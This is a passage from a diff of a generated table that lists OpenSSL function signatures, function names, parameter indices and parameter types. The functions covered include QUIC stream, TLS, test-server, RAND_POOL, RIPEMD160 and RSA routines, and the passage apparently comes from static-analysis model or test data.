char * | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 2 | size_t | +| (QUIC_SSTREAM *,const unsigned char *,size_t,size_t *) | | ossl_quic_sstream_append | 3 | size_t * | +| (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | int | +| (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,size_t) | | ossl_quic_sstream_set_buffer_size | 1 | size_t | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 1 | size_t | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 2 | OSSL_QUIC_FRAME_STREAM * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 3 | OSSL_QTX_IOVEC * | +| (QUIC_SSTREAM *,size_t,OSSL_QUIC_FRAME_STREAM *,OSSL_QTX_IOVEC *,size_t *) | | ossl_quic_sstream_get_stream_frame | 4 | size_t * | +| (QUIC_SSTREAM *,uint64_t *) | | ossl_quic_sstream_get_final_size | 0 | QUIC_SSTREAM * | +| (QUIC_SSTREAM *,uint64_t *) | | ossl_quic_sstream_get_final_size | 1 | uint64_t * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 0 | QUIC_STREAM_ITER * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 1 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | int | +| (QUIC_STREAM_MAP *) | | ossl_quic_stream_map_get_total_accept_queue_len | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *) | | ossl_quic_stream_map_peek_accept_queue | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 1 | ..(*)(..) | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 2 | void * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 3 | QUIC_RXFC * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 4 | QUIC_RXFC * | +| (QUIC_STREAM_MAP *,..(*)(..),void *,QUIC_RXFC *,QUIC_RXFC *,int) | | ossl_quic_stream_map_init | 5 | int | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_push_accept_queue | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_push_accept_queue | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_schedule_stop_sending | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_schedule_stop_sending | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_update_state | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *) | | ossl_quic_stream_map_update_state | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_reset_stream_send_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t) | | ossl_quic_stream_map_stop_sending_recv_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 1 | QUIC_STREAM * | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 2 | uint64_t | +| (QUIC_STREAM_MAP *,QUIC_STREAM *,uint64_t,uint64_t) | | ossl_quic_stream_map_notify_reset_recv_part | 3 | uint64_t | +| (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | int | +| (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,size_t) | | ossl_quic_stream_map_set_rr_stepping | 1 | size_t | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 0 | QUIC_STREAM_MAP * | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 1 | uint64_t | +| (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | int | +| (QUIC_THREAD_ASSIST *,QUIC_CHANNEL *) | | ossl_quic_thread_assist_init_start | 0 | QUIC_THREAD_ASSIST * | +| (QUIC_THREAD_ASSIST *,QUIC_CHANNEL *) | | ossl_quic_thread_assist_init_start | 1 | QUIC_CHANNEL * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 0 | QUIC_TLS * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 1 | const unsigned char * | +| (QUIC_TLS *,const unsigned char *,size_t) | | ossl_quic_tls_set_transport_params | 2 | size_t | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 0 | QUIC_TLS * | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 1 | uint64_t * | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 2 | const char ** | +| (QUIC_TLS *,uint64_t *,const char **,ERR_STATE **) | | ossl_quic_tls_get_error | 3 | ERR_STATE ** | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get0_rbio | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get0_ssl_ctx | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *) | | ossl_quic_tserver_get_channel | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 1 | ..(*)(..) | +| (QUIC_TSERVER *,..(*)(..),void *) | | ossl_quic_tserver_set_msg_callback | 2 | void * | +| (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,SSL_psk_find_session_cb_func) | | ossl_quic_tserver_set_psk_find_session_cb | 1 | SSL_psk_find_session_cb_func | +| (QUIC_TSERVER *,const QUIC_CONN_ID *) | | ossl_quic_tserver_set_new_local_cid | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,const QUIC_CONN_ID *) | | ossl_quic_tserver_set_new_local_cid | 1 | const QUIC_CONN_ID * | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 1 | int | +| (QUIC_TSERVER *,int,uint64_t *) | | ossl_quic_tserver_stream_new | 2 | uint64_t * | +| (QUIC_TSERVER *,uint32_t) | | ossl_quic_tserver_set_max_early_data | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint32_t) | | ossl_quic_tserver_set_max_early_data | 1 | uint32_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 1 | uint64_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 2 | const unsigned char * | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 3 | size_t | +| (QUIC_TSERVER *,uint64_t,const unsigned char *,size_t,size_t *) | | ossl_quic_tserver_write | 4 | size_t * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 0 | QUIC_TSERVER * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 1 | uint64_t | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 2 | unsigned char * | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 3 | size_t | +| (QUIC_TSERVER *,uint64_t,unsigned char *,size_t,size_t *) | | ossl_quic_tserver_read | 4 | size_t * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_cwm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_parent | 0 | QUIC_TXFC * | +| (QUIC_TXFC *) | | ossl_quic_txfc_get_swm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,QUIC_TXFC *) | | ossl_quic_txfc_init | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,QUIC_TXFC *) | | ossl_quic_txfc_init | 1 | QUIC_TXFC * | +| (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | int | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_bump_cwm | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_bump_cwm | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit_local | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_consume_credit_local | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit | 1 | uint64_t | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit_local | 0 | QUIC_TXFC * | +| (QUIC_TXFC *,uint64_t) | | ossl_quic_txfc_get_credit_local | 1 | uint64_t | +| (QUIC_TXPIM *,QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_release | 0 | QUIC_TXPIM * | +| (QUIC_TXPIM *,QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_release | 1 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *) | | ossl_quic_txpim_pkt_add_cfq_item | 0 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,QUIC_CFQ_ITEM *) | | ossl_quic_txpim_pkt_add_cfq_item | 1 | QUIC_CFQ_ITEM * | +| (QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *) | | ossl_quic_txpim_pkt_append_chunk | 0 | QUIC_TXPIM_PKT * | +| (QUIC_TXPIM_PKT *,const QUIC_TXPIM_CHUNK *) | | ossl_quic_txpim_pkt_append_chunk | 1 | const QUIC_TXPIM_CHUNK * | +| (RAND_POOL *) | | ossl_pool_acquire_entropy | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_buffer | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_bytes_remaining | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_detach | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy_available | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_entropy_needed | 0 | RAND_POOL * | +| (RAND_POOL *) | | ossl_rand_pool_length | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 1 | const unsigned char * | +| (RAND_POOL *,const unsigned char *,size_t) | | ossl_rand_pool_adin_mix_in | 2 | size_t | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 0 | RAND_POOL * | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 1 | const unsigned char * | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 2 | size_t | +| (RAND_POOL *,const unsigned char *,size_t,size_t) | | ossl_rand_pool_add | 3 | size_t | +| (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 0 | RAND_POOL * | +| (RAND_POOL *,size_t) | | ossl_rand_pool_add_begin | 1 | size_t | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 0 | RAND_POOL * | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 1 | size_t | +| (RAND_POOL *,size_t,size_t) | | ossl_rand_pool_add_end | 2 | size_t | +| (RAND_POOL *,unsigned char *) | | ossl_rand_pool_reattach | 0 | RAND_POOL * | +| (RAND_POOL *,unsigned char *) | | ossl_rand_pool_reattach | 1 | unsigned char * | +| (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 0 | RAND_POOL * | +| (RAND_POOL *,unsigned int) | | ossl_rand_pool_bytes_needed | 1 | unsigned int | +| (RECORD_LAYER *,SSL_CONNECTION *) | | RECORD_LAYER_init | 0 | RECORD_LAYER * | +| (RECORD_LAYER *,SSL_CONNECTION *) | | RECORD_LAYER_init | 1 | SSL_CONNECTION * | +| (RIO_NOTIFIER *) | | ossl_rio_notifier_cleanup | 0 | RIO_NOTIFIER * | +| (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 1 | const unsigned char * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 1 | const void * | +| (RIPEMD160_CTX *,const void *,size_t) | | RIPEMD160_Update | 2 | size_t | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 0 | RIPEMD160_CTX * | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 1 | const void * | +| (RIPEMD160_CTX *,const void *,size_t) | | ripemd160_block_data_order | 2 | size_t | +| (RSA *) | | RSA_get_version | 0 | RSA * | +| (RSA *) | | ossl_rsa_get0_libctx | 0 | RSA * | +| (RSA *) | | ossl_rsa_get0_pss_params_30 | 0 | RSA * | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPrivateKey | 2 | long | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSAPublicKey | 2 | long | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 0 | RSA ** | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 1 | const unsigned char ** | +| (RSA **,const unsigned char **,long) | | d2i_RSA_PUBKEY | 2 | long | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *) | | RSA_set0_factors | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_crt_params | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *) | | RSA_set0_key | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 0 | RSA * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 1 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 2 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 3 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 4 | BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 5 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 6 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 7 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 8 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 9 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 10 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 11 | const BIGNUM * | +| (RSA *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_GENCB *) | | RSA_X931_derive_ex | 12 | BN_GENCB * | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 0 | RSA * | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 1 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 2 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 3 | BIGNUM *[] | +| (RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int) | | RSA_set0_multi_prime_params | 4 | int | +| (RSA *,BN_CTX *) | | RSA_blinding_on | 0 | RSA * | +| (RSA *,BN_CTX *) | | RSA_blinding_on | 1 | BN_CTX * | +| (RSA *,BN_CTX *) | | RSA_setup_blinding | 0 | RSA * | +| (RSA *,BN_CTX *) | | RSA_setup_blinding | 1 | BN_CTX * | +| (RSA *,BN_CTX *) | | ossl_rsa_sp800_56b_pairwise_test | 0 | RSA * | +| (RSA *,BN_CTX *) | | ossl_rsa_sp800_56b_pairwise_test | 1 | BN_CTX * | +| (RSA *,OSSL_LIB_CTX *) | | ossl_rsa_set0_libctx | 0 | RSA * | +| (RSA *,OSSL_LIB_CTX *) | | ossl_rsa_set0_libctx | 1 | OSSL_LIB_CTX * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 0 | RSA * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 1 | OSSL_PARAM_BLD * | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 2 | OSSL_PARAM[] | +| (RSA *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_rsa_todata | 3 | int | +| (RSA *,RSA_PSS_PARAMS *) | | ossl_rsa_set0_pss_params | 0 | RSA * | +| (RSA *,RSA_PSS_PARAMS *) | | ossl_rsa_set0_pss_params | 1 | RSA_PSS_PARAMS * | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 0 | RSA * | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 1 | const OSSL_PARAM[] | +| (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | int | +| (RSA *,const RSA_METHOD *) | | RSA_set_method | 0 | RSA * | +| (RSA *,const RSA_METHOD *) | | RSA_set_method | 1 | const RSA_METHOD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 1 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 2 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 4 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int *) | | ossl_rsa_verify_PKCS1_PSS_mgf1 | 5 | int * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 0 | RSA * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 1 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 2 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 3 | const EVP_MD * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 4 | const unsigned char * | +| (RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int) | | RSA_verify_PKCS1_PSS_mgf1 | 5 | int | +| (RSA *,int) | | RSA_clear_flags | 0 | RSA * | +| (RSA *,int) | | RSA_clear_flags | 1 | int | +| (RSA *,int) | | RSA_set_flags | 0 | RSA * | +| (RSA *,int) | | RSA_set_flags | 1 | int | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 0 | RSA * | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 1 | int | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 2 | BIGNUM * | +| (RSA *,int,BIGNUM *,BN_GENCB *) | | RSA_generate_key_ex | 3 | BN_GENCB * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 1 | int | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_CTX *) | | ossl_rsa_sp800_56b_derive_params_from_pq | 3 | BN_CTX * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 1 | int | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | RSA_X931_generate_key_ex | 3 | BN_GENCB * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 0 | RSA * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 1 | int | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 2 | const BIGNUM * | +| (RSA *,int,const BIGNUM *,BN_GENCB *) | | ossl_rsa_sp800_56b_generate_key | 3 | BN_GENCB * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 0 | RSA * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 1 | int | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 2 | int | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 3 | BIGNUM * | +| (RSA *,int,int,BIGNUM *,BN_GENCB *) | | RSA_generate_multi_prime_key | 4 | BN_GENCB * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | ossl_rsa_multiprime_derive | 0 | RSA * | +| (RSA *,int,int,BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *,stack_st_BIGNUM *) | | 